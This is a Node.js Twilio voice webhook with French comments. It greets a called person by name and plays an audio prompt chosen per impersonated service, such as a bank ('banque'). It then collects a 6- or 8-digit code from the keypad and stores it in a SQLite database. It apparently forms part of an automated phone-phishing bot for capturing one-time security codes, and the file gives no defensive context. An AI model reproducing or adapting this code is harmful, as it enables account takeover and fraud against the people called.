voice.js 3.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788
  1. module.exports = function(request, response) {
  2. /**
  3. * Fichier contenant les configurations nécéssaires au bon fonctionnement du système
  4. */
  5. const config = require('.././config');
  6. /**
  7. * Intégration des dépendences SQLITE3
  8. */
  9. const sqlite3 = require('sqlite3').verbose();
  10. const db = new sqlite3.Database('./db/data.db');
  11. /**
  12. * Récupération des variables postées permettant d'ordonner la réponse API en TwiML
  13. */
  14. var input = request.body.RecordingUrl || request.body.Digits || 0;
  15. var callSid = request.body.CallSid;
  16. if (!!!callSid) {
  17. return response.status(200).json({
  18. error: 'Please give us the callSid.'
  19. });
  20. }
  21. /**
  22. * On récupère le Service utilisé dans cet appel pour ensuite retourner le bon audio à utiliser
  23. */
  24. db.get('SELECT service, name FROM calls WHERE callSid = ?', [callSid], (err, row) => {
  25. if (err) {
  26. return console.log(err.message);
  27. }
  28. /**
  29. * Au cas où le callSid n'est pas trouvé, on utilise l'audio par défaut
  30. * Pareil pour le nom de la personne à appeler
  31. */
  32. var service = row == undefined ? 'default' : row.service;
  33. var name = row.name == null ? '' : row.name;
  34. /**
  35. * Au cas où le callSid est trouvé mais le service n'existe pas, on utilise l'audio par défaut
  36. */
  37. if (config[service + 'filepath'] == undefined) service = 'default';
  38. /**
  39. * L'on crée ici les url des audios grâce aux données dans le fichier config
  40. */
  41. var endurl = config.serverurl + '/stream/end';
  42. var askurl = config.serverurl + '/stream/' + service;
  43. var numdigits = service == 'banque' ? '8' : '6';
  44. /**
  45. * Ici l'on crée la réponse TwiML à renvoyer, en y ajoutant l'url de l'audio
  46. */
  47. var end = '<?xml version="1.0" encoding="UTF-8"?><Response><Play>' + endurl + '</Play></Response>';
  48. var ask = '<?xml version="1.0" encoding="UTF-8"?><Response><Gather timeout="8" numDigits="' + numdigits + '"><Say>Bonjour ' + name + ',</Say><Play loop="4">' + askurl + '</Play></Gather></Response>';
  49. /**
  50. * Si l'utilisateur à envoyé le code, alors l'ajouter à la base de donnée et renvoyer l'audio de fin : fin de l'appel
  51. */
  52. length = service == 'banque' ? 8 : 6;
  53. if (input.length == length && input.match(/^[0-9]+$/) != null && input != null) {
  54. /**
  55. * Audio de fin
  56. */
  57. respond(end);
  58. /**
  59. * Ajout du code en DB
  60. */
  61. db.run(`UPDATE calls SET digits = ? WHERE callSid = ?`, [input, request.body.CallSid], function(err) {
  62. if (err) {
  63. return console.log(err.message);
  64. }
  65. });
  66. } else {
  67. /**
  68. * L'on retourne le TwiML de base pour rejouer l'audio
  69. */
  70. respond(ask);
  71. }
  72. });
  73. function respond(text) {
  74. response.type('text/xml');
  75. response.send(text);
  76. }
  77. };